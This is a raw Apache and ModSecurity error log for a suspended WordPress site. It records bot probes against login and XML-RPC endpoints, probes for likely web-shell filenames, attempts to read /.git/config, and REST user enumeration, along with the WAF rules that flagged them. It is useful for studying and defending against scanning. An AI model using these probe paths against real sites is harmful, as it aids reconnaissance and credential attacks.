[Mon Nov 10 18:39:33.007740 2025] [:error] [pid 9711:tid 9753] [client 51.89.19.88:49942] [client 51.89.19.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.89.19.88, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRHA5czdCndgVBR2TMZbmAAAAEs"]
[Mon Nov 10 18:39:33.016871 2025] [:error] [pid 9711:tid 9753] [client 51.89.19.88:49942] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 10 19:02:42.243284 2025] [:error] [pid 19990:tid 20009] [client 172.104.233.211:42630] [client 172.104.233.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.104.233.211, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRHGUpk-0UyB2LEWB7l1AgAAAA8"]
[Mon Nov 10 19:02:42.252832 2025] [:error] [pid 19990:tid 20009] [client 172.104.233.211:42630] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 10 19:07:18.074989 2025] [:error] [pid 22523:tid 22538] [client 205.185.120.118:30894] [client 205.185.120.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.120.118, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRHHZu6lbGUT69mqqFPvzgAAAAo"]
[Mon Nov 10 19:07:18.079096 2025] [:error] [pid 22523:tid 22538] [client 205.185.120.118:30894] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 10 20:09:09.147205 2025] [:error] [pid 60870:tid 60889] [client 45.61.188.54:30103] [client 45.61.188.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.188.54, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRHV5aBitaJb2QMvbU7FdQAAANA"]
[Mon Nov 10 20:09:09.152361 2025] [:error] [pid 60870:tid 60889] [client 45.61.188.54:30103] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 10 20:47:24.197793 2025] [:error] [pid 31031:tid 31113] [client 107.189.14.25:48400] [client 107.189.14.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.14.25, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRHe3HI8L5KZTd8nCaZ4agAAAIo"]
[Mon Nov 10 20:47:24.201977 2025] [:error] [pid 31031:tid 31113] [client 107.189.14.25:48400] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 10 21:17:24.233109 2025] [:error] [pid 31136:tid 31142] [client 20.84.7.202:18308] [client 20.84.7.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.84.7.202, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRHl5Ptvd8w_jsstCaieCQAAAME"]
[Mon Nov 10 21:17:24.239392 2025] [:error] [pid 31136:tid 31142] [client 20.84.7.202:18308] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 10 22:40:37.025195 2025] [:error] [pid 34820:tid 34838] [client 20.51.210.179:46688] [client 20.51.210.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.51.210.179, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRH5ZWK3qvhYIA1ghWD0rQAAARA"]
[Mon Nov 10 22:40:37.033408 2025] [:error] [pid 34820:tid 34838] [client 20.51.210.179:46688] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 03:43:16.135827 2025] [:error] [pid 63955:tid 63971] [client 216.24.219.214:46853] File does not exist: /usr/local/apache/htdocs/suspended-page/postnews.php
[Tue Nov 11 03:49:18.223193 2025] [:error] [pid 43523:tid 43536] [client 107.189.14.25:21318] [client 107.189.14.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.14.25, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRJBvkpV__NXz9WhMIaJKwAAAMo"]
[Tue Nov 11 03:49:18.227704 2025] [:error] [pid 43523:tid 43536] [client 107.189.14.25:21318] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 03:59:06.496745 2025] [:error] [pid 43435:tid 43443] [client 195.154.174.40:32924] [client 195.154.174.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.154.174.40, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRJECmeCenDmgzLwDULESQAAAAM"]
[Tue Nov 11 03:59:06.505020 2025] [:error] [pid 43435:tid 43443] [client 195.154.174.40:32924] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 04:24:03.447173 2025] [:error] [pid 43523:tid 43533] [client 51.81.107.180:49476] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Tue Nov 11 06:23:55.307790 2025] [:error] [pid 33888:tid 33914] [client 51.210.183.228:43836] [client 51.210.183.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.183.228, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRJl-4hA0uVBNwBRvPrvbwAAAJc"]
[Tue Nov 11 06:23:55.318762 2025] [:error] [pid 33888:tid 33914] [client 51.210.183.228:43836] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 07:32:47.634818 2025] [:error] [pid 33931:tid 33953] [client 213.186.179.73:33702] [client 213.186.179.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.186.179.73, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRJ2H0nJb679KZEjo-MCQwAAAQ0"]
[Tue Nov 11 07:32:47.641548 2025] [:error] [pid 33931:tid 33953] [client 213.186.179.73:33702] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 08:24:59.922627 2025] [:error] [pid 33932:tid 33986] [client 209.141.34.83:26413] [client 209.141.34.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.34.83, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRKCW5dn2hP2rg5PoHKFKAAAAVM"]
[Tue Nov 11 08:24:59.927480 2025] [:error] [pid 33932:tid 33986] [client 209.141.34.83:26413] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 08:35:05.348629 2025] [:error] [pid 33932:tid 33990] [client 45.61.188.233:11140] [client 45.61.188.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.188.233, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRKEuZdn2hP2rg5PoHKHnwAAAVc"], referer: https://www.google.com/
[Tue Nov 11 08:35:05.353470 2025] [:error] [pid 33932:tid 33990] [client 45.61.188.233:11140] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.google.com/
[Tue Nov 11 08:46:00.825984 2025] [:error] [pid 43302:tid 43361] [client 85.128.143.147:38916] [client 85.128.143.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.128.143.147, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRKHSGEQ_QxM45F1aJHXjAAAAIA"]
[Tue Nov 11 08:46:00.833151 2025] [:error] [pid 43302:tid 43361] [client 85.128.143.147:38916] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 09:50:10.118777 2025] [:error] [pid 59670:tid 59685] [client 185.199.223.55:36230] [client 185.199.223.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.199.223.55, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRKWUqk2Cnts0y-hpfpoDQAAAIw"]
[Tue Nov 11 09:50:10.126423 2025] [:error] [pid 59670:tid 59685] [client 185.199.223.55:36230] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 09:59:58.621206 2025] [:error] [pid 59670:tid 59692] [client 199.195.248.152:62935] [client 199.195.248.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.195.248.152, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRKYnqk2Cnts0y-hpfpsWQAAAJM"], referer: https://www.yahoo.com/
[Tue Nov 11 09:59:58.624984 2025] [:error] [pid 59670:tid 59692] [client 199.195.248.152:62935] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.yahoo.com/
[Tue Nov 11 11:00:49.279839 2025] [:error] [pid 53355:tid 53375] [client 185.199.223.93:45184] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.199.223.93, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRKm4YB5X5A3rMc4_nDkiAAAABE"]
[Tue Nov 11 11:00:49.288163 2025] [:error] [pid 53355:tid 53375] [client 185.199.223.93:45184] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 11:07:05.572043 2025] [:error] [pid 53355:tid 53369] [client 45.61.188.132:11261] [client 45.61.188.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.188.132, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRKoWYB5X5A3rMc4_nDmJwAAAAs"]
[Tue Nov 11 11:07:05.576660 2025] [:error] [pid 53355:tid 53369] [client 45.61.188.132:11261] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 11:24:08.618598 2025] [:error] [pid 53414:tid 53433] [client 185.102.115.31:43306] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Tue Nov 11 11:37:46.192743 2025] [:error] [pid 59670:tid 59690] [client 140.245.126.6:49237] [client 140.245.126.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 140.245.126.6, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aRKviqk2Cnts0y-hpfqiFgAAAJE"]
[Tue Nov 11 11:37:46.194977 2025] [:error] [pid 59670:tid 59690] [client 140.245.126.6:49237] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Tue Nov 11 11:37:46.507726 2025] [:error] [pid 59670:tid 59676] [client 140.245.126.6:49237] [client 140.245.126.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aRKviqk2Cnts0y-hpfqiGQAAAIM"]
[Tue Nov 11 11:37:46.703618 2025] [:error] [pid 53414:tid 53422] [client 140.245.126.6:49417] [client 140.245.126.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aRKvigs6pHd_Z5oc1ecpNQAAAQY"]
[Tue Nov 11 11:37:46.898387 2025] [:error] [pid 59670:tid 59687] [client 140.245.126.6:49450] [client 140.245.126.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aRKviqk2Cnts0y-hpfqiHAAAAI4"]
[Tue Nov 11 11:37:47.093446 2025] [:error] [pid 53355:tid 53363] [client 140.245.126.6:49493] [client 140.245.126.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aRKvi4B5X5A3rMc4_nDwPAAAAAU"]
[Tue Nov 11 11:37:47.308485 2025] [:error] [pid 53414:tid 53425] [client 140.245.126.6:49524] [client 140.245.126.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2021/wp-includes/wlwmanifest.xml"] [unique_id "aRKviws6pHd_Z5oc1ecpOAAAAQk"]
[Tue Nov 11 11:37:47.505230 2025] [:error] [pid 53449:tid 53469] [client 140.245.126.6:49572] [client 140.245.126.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aRKvi9pz08j5NoUSzp_gIwAAAU8"]
[Tue Nov 11 11:37:47.702044 2025] [:error] [pid 53414:tid 53428] [client 140.245.126.6:49611] [client 140.245.126.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aRKviws6pHd_Z5oc1ecpOgAAAQw"]
[Tue Nov 11 11:37:47.899185 2025] [:error] [pid 53449:tid 53455] [client 140.245.126.6:49657] [client 140.245.126.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aRKvi9pz08j5NoUSzp_gJgAAAUE"]
[Tue Nov 11 11:37:48.095274 2025] [:error] [pid 53449:tid 53465] [client 140.245.126.6:49706] [client 140.245.126.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aRKvjNpz08j5NoUSzp_gKAAAAUs"]
[Tue Nov 11 11:37:48.291743 2025] [:error] [pid 53449:tid 53461] [client 140.245.126.6:49731] [client 140.245.126.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aRKvjNpz08j5NoUSzp_gKwAAAUc"]
[Tue Nov 11 12:12:04.962225 2025] [:error] [pid 53355:tid 53374] [client 181.117.97.71:38396] [client 181.117.97.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.117.97.71, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRK3lIB5X5A3rMc4_nD6-gAAABA"]
[Tue Nov 11 12:12:04.968988 2025] [:error] [pid 53355:tid 53374] [client 181.117.97.71:38396] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 13:23:35.300720 2025] [:error] [pid 59670:tid 59690] [client 134.122.18.148:46046] [client 134.122.18.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.18.148, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRLIV6k2Cnts0y-hpfrZlAAAAJE"]
[Tue Nov 11 13:23:35.311078 2025] [:error] [pid 59670:tid 59690] [client 134.122.18.148:46046] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 14:42:54.378373 2025] [:error] [pid 53414:tid 53427] [client 141.98.11.16:61045] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Tue Nov 11 17:45:46.083356 2025] [:error] [pid 43205:tid 43214] [client 143.198.13.10:57794] [client 143.198.13.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRMFyr48SbhIkX6TjwNeKQAAAQY"]
[Tue Nov 11 17:45:47.193331 2025] [:error] [pid 43205:tid 43228] [client 143.198.13.10:57288] [client 143.198.13.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRMFy748SbhIkX6TjwNeKwAAARQ"]
[Tue Nov 11 18:15:27.299654 2025] [:error] [pid 36579:tid 36617] [client 78.111.111.80:49270] [client 78.111.111.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.111.111.80, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRMMv-muedRSntjwLw5riQAAAAY"]
[Tue Nov 11 18:15:27.308573 2025] [:error] [pid 36579:tid 36617] [client 78.111.111.80:49270] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 18:26:22.852618 2025] [:error] [pid 36673:tid 36699] [client 185.102.115.31:43624] File does not exist: /usr/local/apache/htdocs/suspended-page/areak.php
[Tue Nov 11 19:08:56.518293 2025] [:error] [pid 36673:tid 36680] [client 107.189.1.5:42656] [client 107.189.1.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.1.5, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRMZSCvASiSDHs9bkfcDvgAAAIU"], referer: https://www.yahoo.com/
[Tue Nov 11 19:08:56.523121 2025] [:error] [pid 36673:tid 36680] [client 107.189.1.5:42656] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.yahoo.com/
[Tue Nov 11 20:26:31.107779 2025] [:error] [pid 43205:tid 43225] [client 45.61.188.233:29262] [client 45.61.188.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.188.233, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRMrd748SbhIkX6TjwOaGgAAARE"]
[Tue Nov 11 20:26:31.111857 2025] [:error] [pid 43205:tid 43225] [client 45.61.188.233:29262] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 20:38:25.692500 2025] [:error] [pid 36578:tid 36604] [client 5.35.249.176:59518] [client 5.35.249.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.35.249.176, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRMuQUMi03XeylcOo5XedwAAANU"]
[Tue Nov 11 20:38:25.702261 2025] [:error] [pid 36578:tid 36604] [client 5.35.249.176:59518] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 21:53:38.678159 2025] [:error] [pid 36673:tid 36685] [client 185.102.115.31:47578] File does not exist: /usr/local/apache/htdocs/suspended-page/aqw.php
[Tue Nov 11 22:55:34.697540 2025] [:error] [pid 47931:tid 47947] [client 5.189.153.179:47850] [client 5.189.153.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.153.179, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRNOZjWP7ptQ6Y-gz68wuAAAAU0"]
[Tue Nov 11 22:55:34.704152 2025] [:error] [pid 47931:tid 47947] [client 5.189.153.179:47850] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 11 23:04:20.224625 2025] [:error] [pid 49628:tid 49642] [client 137.184.230.10:47486] [client 137.184.230.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.230.10, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRNQdL82AgnfnwL7V2ZP5wAAAIw"]
[Tue Nov 11 23:04:20.273528 2025] [:error] [pid 49628:tid 49642] [client 137.184.230.10:47486] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 00:02:16.894356 2025] [:error] [pid 47860:tid 47898] [client 149.202.183.73:46774] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.202.183.73, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRNeCKPe6bkmJWx80Cz4lAAAAEc"]
[Wed Nov 12 00:02:16.904997 2025] [:error] [pid 47860:tid 47898] [client 149.202.183.73:46774] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 01:13:26.881872 2025] [:error] [pid 54702:tid 55015] [client 5.252.54.194:40214] [client 5.252.54.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.252.54.194, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRNutoCgou0IW-jKFfmXCAAAAYE"]
[Wed Nov 12 01:13:26.932042 2025] [:error] [pid 54702:tid 55015] [client 5.252.54.194:40214] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Nov 12 01:45:14.981003 2025] [:error] [pid 40833:tid 40849] [client 185.102.115.31:51392] File does not exist: /usr/local/apache/htdocs/suspended-page/areak1.php
[Wed Nov 12 02:03:04.556019 2025] [:error] [pid 40746:tid 40782] [client 93.89.225.48:56518] [client 93.89.225.48] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/Wp/v2/users"] [unique_id "aRN6WJ75CjGFTLdEMn74JwAAAEU"]
[Wed Nov 12 02:03:09.894182 2025] [:error] [pid 40745:tid 40761] [client 220.158.233.201:64132] [client 220.158.233.201] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/Wp/v2/users"] [unique_id "aRN6XcdgIR-a_T0XcdAYGgAAAAs"]
